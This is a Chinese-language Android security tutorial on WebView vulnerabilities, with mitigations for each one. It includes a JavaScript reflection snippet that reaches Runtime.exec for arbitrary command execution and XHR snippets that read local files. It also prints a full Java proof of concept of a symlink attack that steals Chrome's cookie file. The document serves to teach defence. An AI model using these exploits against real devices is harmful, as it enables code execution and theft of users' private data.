WebView的常见漏洞
任意代码执行漏洞
主要是:
- WebView 中 addJavascriptInterface() 接口【4.2以下】
- WebView 内置导出的 searchBoxJavaBridge_对象
- WebView 内置导出的 accessibility 和 accessibilityTraversalObject 对象
addJavascriptInterface
产生漏洞的原因是Android通过addJavascriptInterface()
将android的对象注入到了js中,当JS拿到android这个对象后,就可以调用这个Android对象中所有的方法,包括系统类(Java.lang.Runtime 类),从而进行任意代码执行。
比如js可以读取本地SD卡的文件信息。
主要是通过java的反射机制去实现的,通过遍历window对象:
function execute(cmdArgs)
{
// 遍历 window 对象,目的是为了找到包含 getClass ()的对象,因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
解决方案
- Android 4.2+:被调用的函数以 @JavascriptInterface进行注解从而避免漏洞攻击
- Android 4.2-:采用其他方式通信
searchBoxJavaBridge_
webkit 中默认内置了searchBoxJavaBridge_
,代码位于 java/android/webkit/BrowserFrame.java,该接口同样存在远程代码执行的威胁,所以就算没有通过addJavascriptInterface加入任何的对象,系统也会加入一个searchBoxJavaBridge_
对象,解决办法就是通过removeJavascriptInterface
方法将对象删除。
// 通过调用该方法删除接口
removeJavascriptInterface("searchBoxJavaBridge_");
accessibility 和 accessibilityTraversalObject
代码位于android/webkit/AccessibilityInjector.java,这两个接口同样存在远程任意代码执行的威胁,同样的需要通过removeJavascriptInterface
方法将这两个对象删除。
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
密码明文存储漏洞
WebView 默认开启密码保存功能:
mWebView.setSavePassword(true);
如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险。
所以需要通过:
WebSettings.setSavePassword(false);
关闭密码保存提醒功能。
域控制不严格漏洞
因为Android中的sandbox,Android中的各应用是相互隔离的,在一般情况下A应用是不能访问B应用的文件的,但不正确的使用WebView可能会打破这种隔离,从而带来应用数据泄露的威胁。
即A应用可以通过B应用导出的Activity(即设置exported=true)让B应用加载一个恶意的file协议的url,从而可以获取B应用的内部私有文件。
主要涉及如下的方法设置:
- setAllowFileAccess
- setAllowFileAccessFromFileURLs
- setAllowUniversalAccessFromFileURLs
setAllowFileAccess
这个默认是打开的,即允许通过file协议访问。
- 允许时:就会产生安全问题,使用file域加载的js代码能够使用同源策略跨域访问,导致隐私信息泄露(app的私有目录下)
- 禁止时:打不开本地的网页
setAllowFileAccessFromFileURLs
设置是否允许通过file url加载的Javascript读取其他的本地文件,这个设置在JELLY_BEAN(android 4.1)以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。
比如:
<script>
function loadXMLDoc()
{
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
setAllowUniversalAccessFromFileURLs
设置是否允许通过file url加载的Javascript可以访问其他的源,包括其他的文件和http、https等其他的源。这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。如果此设置是允许,则setAllowFileAccessFromFileURLs不起做用。
<script>
function loadXMLDoc()
{
var arm = "http://www.so.com";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
如果设置成了true,则js就能成功读取so.com的内容。
解决方案
上面的3个问题,其实都是同一类问题,只是表现的形式不一样而已。
setAllowFileAccess
是说明可以通过file协议加载本地文件,它产生漏洞是需要一定的条件的,即activity设置成exported=true
。即其他的应用可以打开我的这个activity,一旦是加载了本地文件,那么这个应用就可以通过执行js代码访问到我的应用下的资源了。
setAllowFileAccessFromFileURLs
是说可以读取到其他的本地file文件。
setAllowUniversalAccessFromFileURLs
是说可以访问网络等的其他的源。
setAllowFileAccess(true);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
#符号链接(软连接)跨源攻击
即使把AllowUniversalAccessFromFileURLs和AllowFileAccessFromFileURLs这两项都设置为false,通过file URL加载的javascript仍然有方法访问其他的本地文件,通过符号链接攻击可以达到这一目的。
主要原理是:将当前文件替换成指向其它文件的软链接,这样就能读取到其他文件的内容了。
具体的操作代码:
public class MainActivity extends AppCompatActivity {
public final static String MY_PKG = "com.example.safewebview";
public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
public final static String TARGET_PKG = "com.android.chrome";
public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;" +
"function doitjs() {" +
" var xhr = new XMLHttpRequest;" +
" xhr.onload = function() {" +
" var txt = xhr.responseText;" +
" d.body.appendChild(d.createTextNode(txt));" +
" alert(txt);" +
" };" +
" xhr.open('GET', d.URL);" +
" xhr.send(null);" +
"}" +
"setTimeout(doitjs, 8000);" +
"</script>" +
"</body>";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
doit();
}
public void doit() {
try {
// Create a malicious HTML
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
// Force Chrome to load the malicious HTML
invokeChrome("file://" + HTML_PATH);
Thread.sleep(4000);
// Replace the HTML with a symlink to Chrome's Cookie file
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
} catch (Exception e) {
}
}
public void invokeChrome(String url) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
startActivity(intent);
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
}
}
}
解决方案
也就是说,不管是否关闭setAllowFileAccess、AllowUniversalAccessFromFileURLs和AllowFileAccessFromFileURLs,都会存在域不安全的问题。
主要的原因还是JS的能力实在是太过强大。
所以我们可以区分的对待这个问题,虽然不能解决问题,但是可以将问题的影响面缩小。
对于不需要使用 file 协议的应用,禁用 file 协议;
setAllowFileAccess(false); setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);
对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript
setAllowFileAccess(true);
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
- 针对需要开启js的,只能具体情况具体对待了